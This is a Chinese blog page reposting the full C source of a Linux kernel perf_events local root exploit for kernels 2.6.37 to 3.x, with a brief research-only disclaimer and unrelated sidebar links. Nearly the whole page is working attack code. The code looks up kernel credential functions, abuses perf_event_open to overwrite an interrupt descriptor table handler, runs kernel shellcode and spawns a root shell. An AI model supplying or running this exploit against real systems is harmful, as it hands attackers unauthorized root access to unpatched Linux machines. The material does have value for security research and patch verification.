• Linux kernel perf_events local root exploit


    测试方法:

    提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
      1. /*
      2. * Linux kernel perf_events local root exploit
      3. *
      4. * by wzt 2013 http://www.cloud-sec.org
      5. *
      6. * gcc -o perf_exp per_exp.c -O2
      7. *
      8. * target: 2.6.37 - 3.x
      9. *
      10. * test on:
      11. * rhel6.3/6.4 x86_64
      12. * rhel6.3 + 3.2 kernel
      13. */
      14.  
      15. #include<stdint.h>
      16. #include<stdio.h>
      17. #include<stdlib.h>
      18. #include<string.h>
      19. #include<unistd.h>
      20. #include<sys/mman.h>
      21. #include<sys/utsname.h>
      22. #include<syscall.h>
      23. #include<stdint.h>
      24. #include<assert.h>
      25. #include<linux/perf_event.h>
      26.  
      27. #define KALLSYMS_NAME "/boot/System.map-2.6.32-279.el6.x86_64"
      28.  
      29. #define BASE 0x380000000
      30. #define SIZE 0x010000000
      31. #define KSIZE 0x2000000
      32.  
      33. #define USER_CS 0x33
      34. #define USER_SS 0x2b
      35. #define USER_FL 0x246
      36.  
      37. #define STACK(x)(x +sizeof(x))
      38.  
      39. typedefint __attribute__((regparm(1)))(*_commit_creds)(unsignedlong cred);
      40. typedefunsignedlong __attribute__((regparm(1)))(*_prepare_kernel_cred)(unsignedlong cred);
      41. _commit_creds commit_creds;
      42. _prepare_kernel_cred prepare_kernel_cred;
      43.  
      44. void exit_user_code(void);
      45. char user_stack[1024*1024];
      46.  
      47. uint64_t*orig_idt_handler;
      48.  
      49. unsignedchar kern_sc[]="\x48\xc7\xc3\x40\x08\x40\x00\xff\xe3";
      50.  
      51. struct idtr {
      52. uint16_t limit;
      53. uint64_t addr;
      54. }__attribute__((packed));
      55.  
      56. void exit_user_code(void)
      57. {
      58. if(getuid()!=0){
      59. printf("[-] exploit failed.\n");
      60. exit(-1);
      61. }
      62.  
      63. printf("[+] Got root shell!\n");
      64. execl("/bin/bash","sh","-i", NULL);
      65. }
      66.  
      67. void kernel_shellcode(void)
      68. {
      69. asmvolatile("swapgs\n\t"
      70. "movq orig_idt_handler, %rsi\n\t"
      71. "movq $-1, (%rsi)\n\t"
      72. "movq $0, %rdi\n\t"
      73. "movq $prepare_kernel_cred, %rsi\n\t"
      74. "movq (%rsi), %rsi\n\t"
      75. "callq *%rsi\n\t"
      76. "movq %rax, %rdi\n\t"
      77. "movq $commit_creds, %rsi\n\t"
      78. "movq (%rsi), %rsi\n\t"
      79. "callq *%rsi\n\t"
      80. "movq $0x2b, 0x20(%rsp)\n\t"
      81. "movq $user_stack, %rbx\n\t"
      82. "addq $0x100000, %rbx\n\t"
      83. "movq %rbx, 0x18(%rsp)\n\t"
      84. "movq $0x246, 0x10(%rsp)\n\t"
      85. "movq $0x33, 0x08(%rsp)\n\t"
      86. "movq $exit_user_code, %rbx\n\t"
      87. "movq %rbx, 0x00(%rsp)\n\t"
      88. "swapgs\n\t"
      89. "iretq");
      90. }
      91.  
      92. int perf_event_open(uint32_t offset)
      93. {
      94. struct perf_event_attr p_attr;
      95. int fd;
      96.  
      97. memset(&p_attr,0,sizeof(struct perf_event_attr));
      98. p_attr.type = PERF_TYPE_SOFTWARE;
      99. p_attr.size =sizeof(struct perf_event_attr);
      100. p_attr.config = offset;
      101. p_attr.mmap =1;
      102. p_attr.freq =1;
      103.  
      104. fd = syscall(__NR_perf_event_open,&p_attr,0,-1,-1,0);
      105. if(fd ==-1){
      106. perror("perf_event_open");
      107. return-1;
      108. }
      109.  
      110. if(close(fd)==-1){
      111. perror("close");
      112. return-1;
      113. }
      114.  
      115. return0;
      116. }
      117.  
      118. unsignedlong find_symbol_by_proc(char*file_name,char*symbol_name)
      119. {
      120. FILE *s_fp;
      121. char buff[200];
      122. char*p = NULL,*p1 = NULL;
      123. unsignedlong addr =0;
      124.  
      125. s_fp = fopen(file_name,"r");
      126. if(s_fp == NULL){
      127. printf("open %s failed.\n", file_name);
      128. return0;
      129. }
      130.  
      131. while(fgets(buff,200, s_fp)!= NULL){
      132. if(strstr(buff, symbol_name)!= NULL){
      133. buff[strlen(buff)-1]='\0';
      134. p = strchr(strchr(buff,' ')+1,' ');
      135. ++p;
      136. if(!p)
      137. return0;
      138.  
      139. if(!strcmp(p, symbol_name)){
      140. p1 = strchr(buff,' ');
      141. *p1 ='\0';
      142. sscanf(buff,"%lx",&addr);
      143. break;
      144. }
      145. }
      146. }
      147.  
      148. fclose(s_fp);
      149. return addr;
      150. }
      151.  
      152. int perf_symbol_init(void)
      153. {
      154. struct utsname os_ver;
      155. char system_map[128];
      156.  
      157. if(uname(&os_ver)==-1){
      158. perror("uname");
      159. return-1;
      160. }
      161.  
      162. printf("[+] target kernel: %s\tarch: %s\n", os_ver.release, os_ver.machine);
      163.  
      164. snprintf(system_map,sizeof(system_map),
      165. "/boot/System.map-%s", os_ver.release);
      166. printf("[+] looking for symbols...\n");
      167. commit_creds =(_commit_creds)find_symbol_by_proc(system_map,"commit_creds");
      168. if(!commit_creds){
      169. printf("[-] not found commit_creds addr.\n");
      170. return-1;
      171. }
      172. printf("[+] found commit_creds addr: %p\n", commit_creds);
      173.  
      174. prepare_kernel_cred =(_prepare_kernel_cred)find_symbol_by_proc(system_map,
      175. "prepare_kernel_cred");
      176. if(!prepare_kernel_cred){
      177. printf("[-] not found prepare_kernel_cred addr.\n");
      178. return-1;
      179. }
      180. printf("[+] found prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
      181. }
      182.  
      183. void exploit_banner(void)
      184. {
      185. printf("Linux kernel perf_events(2.6.37 - 3.x) local root exploit.\n"
      186. "by wzt 2013\thttp://www.cloud-sec.org\n\n");
      187. }
      188.  
      189. int main()
      190. {
      191. struct idtr idt;
      192. uint64_t kbase;
      193. uint8_t*code;
      194. uint32_t*map;
      195. int i;
      196. int idt_offset;
      197.  
      198. exploit_banner();
      199.  
      200. if(perf_symbol_init()==-1)
      201. return-1;
      202.  
      203. map = mmap((void*)BASE, SIZE, PROT_READ | PROT_WRITE,
      204. MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED,-1,0);
      205. if(map !=(void*)BASE){
      206. perror("mmap");
      207. return-1;
      208. }
      209. printf("[+] mmap at %p ok.\n",(void*)map);
      210. memset(map,0, SIZE);
      211.  
      212. if(perf_event_open(-1)==-1)
      213. return-1;
      214.  
      215. if(perf_event_open(-2)==-1)
      216. return-1;
      217.  
      218. for(i =0; i < SIZE/4; i++){
      219. if(map[i]){
      220. assert(map[i+1]);
      221. break;
      222. }
      223. }
      224. assert(i<SIZE/4);
      225.  
      226. asm("sidt %0":"=m"(idt));
      227. kbase = idt.addr &0xff000000;
      228.  
      229. code = mmap((void*)kbase, KSIZE, PROT_READ | PROT_WRITE | PROT_EXEC,
      230. MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED,-1,0);
      231. if(code !=(void*)kbase){
      232. perror("mmap");
      233. return-1;
      234. }
      235. printf("[+] mmap shellcode at %p ok.\n",(void*)code);
      236.  
      237. memset(code,0x90, KSIZE);
      238. code += KSIZE -1024;
      239.  
      240. *(uint32_t*)(kern_sc +3)=(uint32_t)&kernel_shellcode;
      241. memcpy(code -9, kern_sc,9);
      242.  
      243. orig_idt_handler =(uint64_t*)(idt.addr +0x48);
      244. printf("[+] int4 idt handler addr: %lx\n", orig_idt_handler);
      245.  
      246. idt_offset =-i +(((idt.addr &0xffffffff)-0x80000000)/4)+16;
      247. printf("[+] trigger offset: %d\n", idt_offset);
      248.  
      249. if(perf_event_open(idt_offset)==-1)
      250. return-1;
      251.  
      252. printf("[+] trigger int4 ...\n");
      253. asm("int $0x4");
      254. }
  • 相关阅读:
    读者试读怎么评价这本书
    性能优化是数据库应用的核心问题
    ExtJS 4 Grid组件
    发挥你的SATA硬盘
    MOSS 修改了服务器账号密码后的问题
    速度真快,ExtJS第5个预览版发布
    Ext JS 4 Preview Release 4发布
    显卡性能排行榜
    手机操作系统发展史
    程序解读身份证的密码
  • 原文地址:https://www.cnblogs.com/security4399/p/3098620.html
Copyright © 2020-2023  润新知